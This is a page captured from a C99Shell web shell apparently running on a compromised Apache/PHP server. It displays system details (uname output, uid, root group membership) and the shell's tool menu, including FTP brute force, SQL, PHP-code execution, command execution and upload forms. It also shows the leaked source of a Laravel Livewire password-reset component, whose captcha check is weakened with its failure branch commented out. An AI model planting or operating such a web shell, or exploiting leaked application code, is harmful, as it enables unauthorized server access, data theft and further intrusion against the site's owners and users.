!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/app/Http/Livewire/Auth/   drwxr-xr-x
Free 28.33 GB of 117.98 GB (24.01%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ForgetPassword.php (2.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Livewire\Auth;

use 
App\Mail\SendResetPasswordMail;
use 
App\Models\User;
use 
Illuminate\Foundation\Auth\SendsPasswordResetEmails;
use 
Illuminate\Support\Facades\DB;
use 
Illuminate\Support\Facades\Http;
use 
Illuminate\Support\Facades\Mail;
use 
Illuminate\Support\Str;
use 
Livewire\Component;

class 
ForgetPassword extends Component
{
    use 
SendsPasswordResetEmails;

    public 
$email;

    public 
$captcha null;

    public function 
render()
    {
        return 
view('livewire.auth.forget-password');
    }

    public function 
sendPasswordResetLink()
    {
        
$this->validate([
            
'email' => 'required|email|exists:users,email',
            
'captcha' => config('captcha.active') ? 'required' '',
        ]);

        if (! 
checkMailConfig()) {
            
flashError(__('mail_not_sent_for_the_reason_of_incomplete_mail_configuration'));
        }

        
$token Str::random(64);
        
DB::table('password_resets')->insert([
            
'email' => $this->email,
            
'token' => $token,
            
'created_at' => now(),
        ]);
        
$valid_mail User::where('email'$this->email)->first();
        if (
$valid_mail) {
            
Mail::to($this->email)->send(new SendResetPasswordMail($token));
        } else {
            
flashError(__('User not Found'));
        }
        
$this->email '';
        
session()->flash('success'__('we_have_e_mailed_your_password_reset_link'));
        
$this->emit('flashMessage', ['type' => 'success''message' => session('success')]);

    }

    public function 
updatedCaptcha($token)
    {
        
$response Http::post(
            
'https://www.google.com/recaptcha/api/siteverify?secret='.
            
config('captcha.sitekey').
            
'&response='.$token
        
);

        
$success $response->json()['success'];

        if (
$success) {
            
$this->captcha true;
        }
        
// if (! $success) {
        //     throw ValidationException::withMessages([
        //         'captcha' => __('Google thinks, you are a bot, please refresh and try again!'),
        //     ]);
        // } else {
        //     $this->captcha = true;
        // }
    
}
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--